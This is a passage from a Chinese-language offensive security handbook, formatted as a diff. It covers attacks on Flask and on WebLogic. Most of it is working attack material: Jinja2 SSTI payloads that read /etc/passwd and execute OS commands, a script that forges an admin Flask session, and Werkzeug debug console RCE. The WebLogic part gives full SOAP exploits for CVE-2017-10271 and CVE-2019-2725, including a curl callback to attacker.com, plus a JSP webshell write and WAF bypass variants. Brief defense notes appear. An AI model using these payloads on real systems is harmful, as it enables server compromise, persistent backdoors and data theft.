|
1993
|
+
**1. SSTI模板注入**
|
|
1994
|
+
> SSTI模板注入
|
|
1995
|
+
```
|
|
1996
|
+
# Jinja2模板注入探测
|
|
1997
|
+
{{7*7}}
|
|
1998
|
+
${7*7}
|
|
1999
|
+
<%= 7*7 %>
|
|
2000
|
+
|
|
2001
|
+
# 如果返回49则存在SSTI
|
|
2002
|
+
|
|
2003
|
+
# 获取配置
|
|
2004
|
+
{{config}}
|
|
2005
|
+
{{self.__class__}}
|
|
2006
|
+
|
|
2007
|
+
# 命令执行
|
|
2008
|
+
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
|
|
2009
|
+
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
|
2010
|
+
```
|
|
2011
|
+
**语法解析:**
|
|
2012
|
+
- `{{...}}` — Jinja2模板语法 _value_
|
|
2013
|
+
- `__class__` — 获取对象类 _value_
|
|
2014
|
+
- `__mro__` — 方法解析顺序 _value_
|
|
2015
|
+
|
|
2016
|
+
**2. SECRET_KEY利用**
|
|
2017
|
+
> SECRET_KEY利用
|
|
2018
|
+
```
|
|
2019
|
+
# Flask Session签名
|
|
2020
|
+
# 获取SECRET_KEY后可以伪造Session
|
|
2021
|
+
|
|
2022
|
+
# 解签Session
|
|
2023
|
+
from flask.sessions import SecureCookieSessionInterface
|
|
2024
|
+
from itsdangerous import URLSafeTimedSerializer
|
|
2025
|
+
|
|
2026
|
+
# 解签
|
|
2027
|
+
def decode_session(cookie_value, secret_key):
|
|
2028
|
+
serializer = URLSafeTimedSerializer(secret_key)
|
|
2029
|
+
return serializer.loads(cookie_value)
|
|
2030
|
+
|
|
2031
|
+
# 签名伪造
|
|
2032
|
+
def encode_session(data, secret_key):
|
|
2033
|
+
serializer = URLSafeTimedSerializer(secret_key)
|
|
2034
|
+
return serializer.dumps(data)
|
|
2035
|
+
|
|
2036
|
+
# 伪造管理员Session
|
|
2037
|
+
fake_session = encode_session({"user_id": 1, "is_admin": True}, SECRET_KEY)
|
|
2038
|
+
```
|
|
2039
|
+
|
|
2040
|
+
**3. 调试模式RCE**
|
|
2041
|
+
> 调试模式RCE
|
|
2042
|
+
```
|
|
2043
|
+
# Flask Debug模式
|
|
2044
|
+
# 访问/debug或/console
|
|
2045
|
+
# 可以执行任意Python代码
|
|
2046
|
+
|
|
2047
|
+
# Werkzeug Debug Console
|
|
2048
|
+
# 访问:
|
|
2049
|
+
http://target/console
|
|
2050
|
+
|
|
2051
|
+
# 执行代码
|
|
2052
|
+
import os; os.system('id')
|
|
2053
|
+
__import__('os').system('id')
|
|
2054
|
+
```
|
|
2055
|
+
**语法解析:**
|
|
2056
|
+
- `system()` — 系统命令执行 _function_
|
|
2057
|
+
- `;` — 命令分隔符 _operator_
|
|
2058
|
+
|
|
2059
|
+
**4. PIN码绕过**
|
|
2060
|
+
> PIN码绕过
|
|
2061
|
+
```
|
|
2062
|
+
# Flask Debug PIN
|
|
2063
|
+
# 需要获取:
|
|
2064
|
+
# 1. 用户名
|
|
2065
|
+
# 2. modname
|
|
2066
|
+
# 3. app路径
|
|
2067
|
+
# 4. MAC地址
|
|
2068
|
+
|
|
2069
|
+
# 读取信息
|
|
2070
|
+
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
|
|
2071
|
+
{{config.__class__.__init__.__globals__['os'].environ}}
|
|
2072
|
+
|
|
2073
|
+
# 计算PIN
|
|
2074
|
+
# 使用脚本计算Werkzeug PIN
|
|
2075
|
+
```
|
|
2076
|
+
|
|
2077
|
+
**WAF/EDR 绕过变体:**
|
|
2078
|
+
|
|
2079
|
+
**SSTI绕过**
|
|
2080
|
+
> SSTI绕过
|
|
2081
|
+
```
|
|
2082
|
+
# 过滤绕过
|
|
2083
|
+
# 使用attr
|
|
2084
|
+
{{''|attr('__class__')|attr('__mro__')}}
|
|
2085
|
+
|
|
2086
|
+
# 使用request
|
|
2087
|
+
{{request|attr('application')|attr('__globals__')}}
|
|
2088
|
+
|
|
2089
|
+
# 使用字符串拼接
|
|
2090
|
+
{{'__cla'~'ss__'}}
|
|
2091
|
+
|
|
2092
|
+
# 使用编码
|
|
2093
|
+
{{''['\x5f\x5fclass\x5f\x5f']}}
|
|
2094
|
+
```
|
|
2095
|
+
|
|
2096
|
+
|
|
2097
|
+
**概述:** Flask是Python的轻量级Web框架,其安全漏洞主要来自开发者的不安全实践:Secret Key泄露导致Session伪造、Jinja2 SSTI、Debug模式RCE(Werkzeug调试器)、以及不安全的反序列化配置。
|
|
2098
|
+
|
|
2099
|
+
**漏洞原理:** Flask安全风险:1)Debug模式下Werkzeug调试器可执行任意Python代码(需PIN码,但PIN可通过文件读取计算) 2)Secret Key泄露导致Session Cookie伪造 3)Jinja2模板注入(render_template_string) 4)不安全的pickle Session序列化。
|
|
2100
|
+
|
|
2101
|
+
**利用方法:** 完整利用流程:
|
|
2102
|
+
1. 检测Flask框架
|
|
2103
|
+
2. 测试SSTI注入
|
|
2104
|
+
3. 利用调试模式
|
|
2105
|
+
4. 或伪造Session
|
|
2106
|
+
|
|
2107
|
+
**防御措施:** 防御措施:
|
|
2108
|
+
1. 关闭调试模式
|
|
2109
|
+
2. 保护SECRET_KEY
|
|
2110
|
+
3. 过滤模板注入
|
|
2111
|
+
4. 输入验证
|
|
2112
|
+
|
|
2113
|
+
---
|
|
2114
|
+
|
|
2115
|
+
### WebLogic XMLDecoder `weblogic-xmldecoder`
|
|
2116
|
+
_利用WebLogic Server中XMLDecoder反序列化漏洞(CVE-2017-10271/CVE-2017-3506)实现远程代码执行_
|
|
2117
|
+
子类:**WebLogic** · tags: `weblogic` `xmldecoder` `rce`
|
|
2118
|
+
|
|
2119
|
+
**前置条件:**
|
|
2120
|
+
- 目标运行WebLogic Server
|
|
2121
|
+
- 存在/wls-wsat/或/_async/路径
|
|
2122
|
+
- XMLDecoder组件未被禁用
|
|
2123
|
+
- WebLogic版本存在漏洞(10.3.6.0/12.1.3.0等)
|
|
2124
|
+
|
|
2125
|
+
**攻击链:**
|
|
2126
|
+
|
|
2127
|
+
**探测WebLogic版本和路径**
|
|
2128
|
+
> 探测WebLogic服务器版本、开放端口和可利用的端点
|
|
2129
|
+
_platform: linux_
|
|
2130
|
+
```
|
|
2131
|
+
# 检测WebLogic控制台
|
|
2132
|
+
curl -sI "http://target:7001/console/" | head -5
|
|
2133
|
+
|
|
2134
|
+
# 检测wls-wsat端点(CVE-2017-10271)
|
|
2135
|
+
curl -s "http://target:7001/wls-wsat/CoordinatorPortType" | head -20
|
|
2136
|
+
|
|
2137
|
+
# 检测AsyncResponseService端点(CVE-2019-2725)
|
|
2138
|
+
curl -s "http://target:7001/_async/AsyncResponseService" | head -20
|
|
2139
|
+
|
|
2140
|
+
# 检测T3协议
|
|
2141
|
+
nmap -sV -p 7001 --script weblogic-t3-info target
|
|
2142
|
+
```
|
|
2143
|
+
**语法解析:**
|
|
2144
|
+
- `/wls-wsat/CoordinatorPortType` — WebLogic WLS-WSAT组件端点,CVE-2017-10271利用点 _value_
|
|
2145
|
+
- `/_async/AsyncResponseService` — WebLogic异步通信服务端点,CVE-2019-2725利用点 _value_
|
|
2146
|
+
- `weblogic-t3-info` — Nmap脚本检测T3协议信息 _value_
|
|
2147
|
+
|
|
2148
|
+
**CVE-2017-10271 XMLDecoder RCE**
|
|
2149
|
+
> 通过SOAP请求中的WorkContext注入XMLDecoder反序列化payload实现命令执行
|
|
2150
|
+
_platform: linux_
|
|
2151
|
+
```
|
|
2152
|
+
curl -v "http://target:7001/wls-wsat/CoordinatorPortType" -H "Content-Type: text/xml" -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
2153
|
+
<soapenv:Header>
|
|
2154
|
+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
2155
|
+
<java version="1.8.0" class="java.beans.XMLDecoder">
|
|
2156
|
+
<void class="java.lang.ProcessBuilder">
|
|
2157
|
+
<array class="java.lang.String" length="3">
|
|
2158
|
+
<void index="0"><string>/bin/bash</string></void>
|
|
2159
|
+
<void index="1"><string>-c</string></void>
|
|
2160
|
+
<void index="2"><string>id > /tmp/test_rce.txt</string></void>
|
|
2161
|
+
</array>
|
|
2162
|
+
<void method="start"/>
|
|
2163
|
+
</void>
|
|
2164
|
+
</java>
|
|
2165
|
+
</work:WorkContext>
|
|
2166
|
+
</soapenv:Header>
|
|
2167
|
+
<soapenv:Body/>
|
|
2168
|
+
</soapenv:Envelope>'
|
|
2169
|
+
```
|
|
2170
|
+
**语法解析:**
|
|
2171
|
+
- `soapenv:Envelope` — SOAP消息的根元素 _value_
|
|
2172
|
+
- `work:WorkContext` — WebLogic工作上下文,XMLDecoder解析入口 _value_
|
|
2173
|
+
- `java.beans.XMLDecoder` — Java XML反序列化器,漏洞的核心组件 _value_
|
|
2174
|
+
- `java.lang.ProcessBuilder` — 用于创建操作系统进程执行命令 _value_
|
|
2175
|
+
- `void method="start"` — 调用ProcessBuilder.start()执行构造的命令 _command_
|
|
2176
|
+
|
|
2177
|
+
**CVE-2019-2725 反序列化RCE**
|
|
2178
|
+
> 利用_async端点的反序列化漏洞执行外带验证(OOB)
|
|
2179
|
+
_platform: linux_
|
|
2180
|
+
```
|
|
2181
|
+
curl -v "http://target:7001/_async/AsyncResponseService" -H "Content-Type: text/xml" -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
|
|
2182
|
+
<soapenv:Header>
|
|
2183
|
+
<wsa:Action>xx</wsa:Action>
|
|
2184
|
+
<wsa:RelatesTo>xx</wsa:RelatesTo>
|
|
2185
|
+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
2186
|
+
<void class="java.lang.ProcessBuilder">
|
|
2187
|
+
<array class="java.lang.String" length="3">
|
|
2188
|
+
<void index="0"><string>/bin/bash</string></void>
|
|
2189
|
+
<void index="1"><string>-c</string></void>
|
|
2190
|
+
<void index="2"><string>curl http://attacker.com/callback?rce=success</string></void>
|
|
2191
|
+
</array>
|
|
2192
|
+
<void method="start"/>
|
|
2193
|
+
</void>
|
|
2194
|
+
</work:WorkContext>
|
|
2195
|
+
</soapenv:Header>
|
|
2196
|
+
<soapenv:Body><asy:onAsyncDelivery/></soapenv:Body>
|
|
2197
|
+
</soapenv:Envelope>'
|
|
2198
|
+
```
|
|
2199
|
+
**语法解析:**
|
|
2200
|
+
- `/_async/AsyncResponseService` — 异步服务端点,CVE-2019-2725的攻击入口 _value_
|
|
2201
|
+
- `wsa:Action` — WS-Addressing Action头,触发异步处理 _value_
|
|
2202
|
+
- `curl http://attacker.com/callback` — 使用curl外带验证命令执行结果 _command_
|
|
2203
|
+
|
|
2204
|
+
**写入Webshell获取持久权限**
|
|
2205
|
+
> 利用XMLDecoder的PrintWriter写入JSP webshell到WebLogic部署目录
|
|
2206
|
+
_platform: linux_
|
|
2207
|
+
```
|
|
2208
|
+
# 通过XMLDecoder写入JSP Webshell
|
|
2209
|
+
curl "http://target:7001/wls-wsat/CoordinatorPortType" -H "Content-Type: text/xml" -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
2210
|
+
<soapenv:Header>
|
|
2211
|
+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
2212
|
+
<java version="1.8.0" class="java.beans.XMLDecoder">
|
|
2213
|
+
<void class="java.io.PrintWriter">
|
|
2214
|
+
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
|
|
2215
|
+
<void method="println">
|
|
2216
|
+
<string><![CDATA[<%if("test".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[]b=new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>]]></string>
|
|
2217
|
+
</void>
|
|
2218
|
+
<void method="close"/>
|
|
2219
|
+
</void>
|
|
2220
|
+
</java>
|
|
2221
|
+
</work:WorkContext>
|
|
2222
|
+
</soapenv:Header>
|
|
2223
|
+
<soapenv:Body/>
|
|
2224
|
+
</soapenv:Envelope>'
|
|
2225
|
+
|
|
2226
|
+
# 验证Webshell
|
|
2227
|
+
curl "http://target:7001/bea_wls_internal/test.jsp?pwd=test&cmd=id"
|
|
2228
|
+
```
|
|
2229
|
+
**语法解析:**
|
|
2230
|
+
- `java.io.PrintWriter` — 利用PrintWriter类写入文件 _value_
|
|
2231
|
+
- `servers/AdminServer/tmp/_WL_internal/...` — WebLogic内部Web应用部署路径 _value_
|
|
2232
|
+
- `CDATA` — XML CDATA区段,避免JSP代码被XML解析器处理 _value_
|
|
2233
|
+
- `/bea_wls_internal/test.jsp` — Webshell的访问URL路径 _value_
|
|
2234
|
+
|
|
2235
|
+
**WAF/EDR 绕过变体:**
|
|
2236
|
+
|
|
2237
|
+
**备用反序列化端点**
|
|
2238
|
+
> 尝试WebLogic WLS-WSAT组件的多个不同SOAP端点,部分端点可能未被WAF规则覆盖
|
|
2239
|
+
```
|
|
2240
|
+
# 尝试不同的XMLDecoder入口
|
|
2241
|
+
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/CoordinatorPortType
|
|
2242
|
+
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/CoordinatorPortType11
|
|
2243
|
+
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/ParticipantPortType
|
|
2244
|
+
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/RegistrationPortTypeRPC
|
|
2245
|
+
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/RegistrationRequesterPortType
|
|
2246
|
+
```
|
|
2247
|
+
**语法解析:**
|
|
2248
|
+
- `# 尝试不同的XMLDecoder入口` — 主要命令 _command_
|
|
2249
|
+
- `...` — 共6行 _value_
|
|
2250
|
+
|
|
2251
|
+
**T3/IIOP协议绕过HTTP层WAF**
|
|
2252
|
+
> 使用T3或IIOP协议发送反序列化payload,绕过仅检测HTTP流量的WAF
|
|
2253
|
+
```
|
|
2254
|
+
# T3协议利用(绕过HTTP层WAF)
|
|
2255
|
+
python3 weblogic_t3_exploit.py -t target:7001 -c "id"
|
|
2256
|
+
|
|
2257
|
+
# IIOP协议利用
|
|
2258
|
+
python3 weblogic_iiop_exploit.py -t target:7001 -c "whoami"
|
|
2259
|
+
|
|
2260
|
+
# 使用ysoserial生成T3 payload
|
|
2261
|
+
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/test" | python3 t3_send.py target 7001
|
|
2262
|
+
```
|
|
2263
|
+
**语法解析:**
|
|
2264
|
+
- `# T3协议利用(绕过HTTP层WAF)` — 主要命令 _command_
|
|
2265
|
+
- `...` — 共6行 _value_
|
|
2266
|
+
|
|
2267
|
+
**XML编码混淆绕过**
|
|
2268
|
+
> 通过XML编码(UTF-16/CDATA/实体编码)混淆payload内容绕过基于内容匹配的WAF
|
|
2269
|
+
```
|
|
2270
|
+
<!-- UTF-16编码绕过 -->
|
|
2271
|
+
<?xml version="1.0" encoding="UTF-16"?>
|
|
2272
|
+
|
|
2273
|
+
<!-- CDATA包裹关键字 -->
|
|
2274
|
+
<java>
|
|
2275
|
+
<object class="java.lang.ProcessBuilder">
|
|
2276
|
+
<array class="java.lang.String" length="3">
|
|
2277
|
+
<void index="0"><string><![CDATA[/bin/sh]]></string></void>
|
|
2278
|
+
<void index="1"><string><![CDATA[-c]]></string></void>
|
|
2279
|
+
<void index="2"><string><![CDATA[id]]></string></void>
|
|
2280
|
+
</array>
|
|
2281
|
+
<void method="start"/>
|
|
2282
|
+
</object>
|
|
2283
|
+
</java>
|
|
2284
|
+
```
|
|
2285
|
+
**语法解析:**
|
|
2286
|
+
- `<!-- UTF-16编码绕过 -->
|
|
2287
|
+
` — XML内容 _value_
|
|
2288
|
+
- `<?xml version="1.0" encoding="UTF-16"?>` — XML声明/实体定义 _tag_
|
|
2289
|
+
- `
|
|
2290
|
+
|
|
2291
|
+
<!-- CDATA包裹关键字 -->
|
|
2292
|
+
<java>
|
|
2293
|
+
<object class="java.lang.Proc` — XML内容 _value_
|
|
2294
|
+
|
|
2295
|
+
|
|
2296
|
+
**概述:** WebLogic XMLDecoder反序列化是一系列严重的RCE漏洞(CVE-2017-3506/CVE-2017-10271/CVE-2019-2725),攻击者通过向WLS-WSAT或AsyncResponseService端点发送精心构造的SOAP XML请求,利用XMLDecoder对WorkContext的反序列化过程执行任意Java代码,从而实现远程命令执行。
|
|
2297
|
+
|
|
2298
|
+
**漏洞原理:** WebLogic的WLS-WSAT和异步通信服务在处理SOAP请求时,使用XMLDecoder解析WorkContext中的XML数据。由于XMLDecoder可以实例化任意Java类并调用其方法,攻击者可以构造恶意XML来创建ProcessBuilder或Runtime实例执行操作系统命令。
|
|
2299
|
+
|
|
2300
|
+
**利用方法:** 利用流程:1) 探测目标WebLogic版本和开放端点(/wls-wsat/, /_async/) 2) 构造SOAP XML请求,在WorkContext中嵌入XMLDecoder payload 3) 利用ProcessBuilder执行系统命令验证RCE 4) 通过PrintWriter写入Webshell获取持久权限 5) 利用Webshell执行后续操作
|
|
2301
|
+
|
|
2302
|
+
**防御措施:** 1) 升级到最新补丁版本 2) 删除或限制/wls-wsat/和/_async/端点的访问 3) 使用WAF过滤SOAP请求中的恶意XML 4) 限制WebLogic运行权限 5) 监控异常的SOAP请求和文件写入操作
|
|
2303
|
+
|
|
2304
|
+
---
|